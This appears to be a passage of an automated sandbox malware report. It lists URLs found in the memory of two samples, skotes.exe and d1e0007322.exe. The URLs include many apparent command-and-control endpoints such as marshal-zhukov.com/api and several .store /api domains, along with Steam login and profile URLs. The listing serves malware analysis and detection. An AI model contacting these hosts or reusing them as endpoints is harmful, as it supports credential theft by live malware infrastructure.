Source: skotes.exe, 0000000A.00000003.2519019918.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/bcfa72bd-ef57-4519-ad7e-6fc790a80290c
Source: skotes.exe, 0000000A.00000003.3361862608.000000000167B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/dist/img/logo-small-og.png
Source: skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/fk
Source: skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/ph
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steam
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2816552302.0000000005651000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811041319.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789865629.0000000005651000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789056785.000000000564A000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789526303.0000000005650000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268034958.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2796669990.0000000005651000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257488132.0000000005651000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768674667.000000000564E000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2770043088.0000000005650000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746059118.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688473758.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/$
Source: d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/.h
Source: d1e0007322.exe, 00000014.00000003.3258432576.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268034958.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/5
Source: d1e0007322.exe, 00000014.00000003.2747036550.0000000005651000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746059118.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/B
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688473758.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/D
Source: d1e0007322.exe, 00000014.00000003.3258432576.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268034958.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/P
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api:
Source: d1e0007322.exe, 00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiO
Source: d1e0007322.exe, 00000014.00000003.3257681427.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258911404.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3267915350.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiP
Source: d1e0007322.exe, 00000014.00000003.2748081095.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiU
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiV
Source: d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiY
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3269514272.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257605259.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apij
Source: d1e0007322.exe, 00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apik
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apil
Source: d1e0007322.exe, 00000014.00000003.2811041319.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258257837.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811241396.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268389179.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apit
Source: d1e0007322.exe, 00000014.00000003.2768991897.0000000005650000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768036791.000000000564E000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2769888375.000000000564E000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768674667.000000000564E000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2770043088.0000000005650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/b
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688473758.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F0F000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811041319.0000000000E56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/d
Source: d1e0007322.exe, 00000014.00000003.3258432576.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268034958.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/fhb)
Source: d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/m
Source: d1e0007322.exe, 00000014.00000003.2768991897.0000000005650000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768036791.000000000564E000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2769888375.000000000564E000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768674667.000000000564E000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2770043088.0000000005650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/pgppqV
Source: d1e0007322.exe, 00000014.00000003.3258432576.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268034958.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/qw
Source: d1e0007322.exe, 00000014.00000003.2790110258.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811041319.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2791311230.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2795414086.0000000000E50000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2792753009.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2795036020.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2792489259.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2792905725.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2793619699.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2748081095.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2795649918.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2793761097.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2794565162.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2794903427.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2793354880.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2791039324.0000000000E50000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2791601565.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2794437673.0000000000E51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/tv
Source: d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/vv
Source: d1e0007322.exe, 00000014.00000003.2747036550.0000000005651000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746059118.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/z
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiK
Source: d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiL
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api_
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apie
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/api
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/apik
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/:
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recapt5
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scriptyprefej.store:443/api
Source: d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scriptyprefej.store:443/apiD
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scriptyprefej.store:443/apixt
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/4r
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/;-
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: d1e0007322.exe, 0000000F.00000003.2688238278.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694290682.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
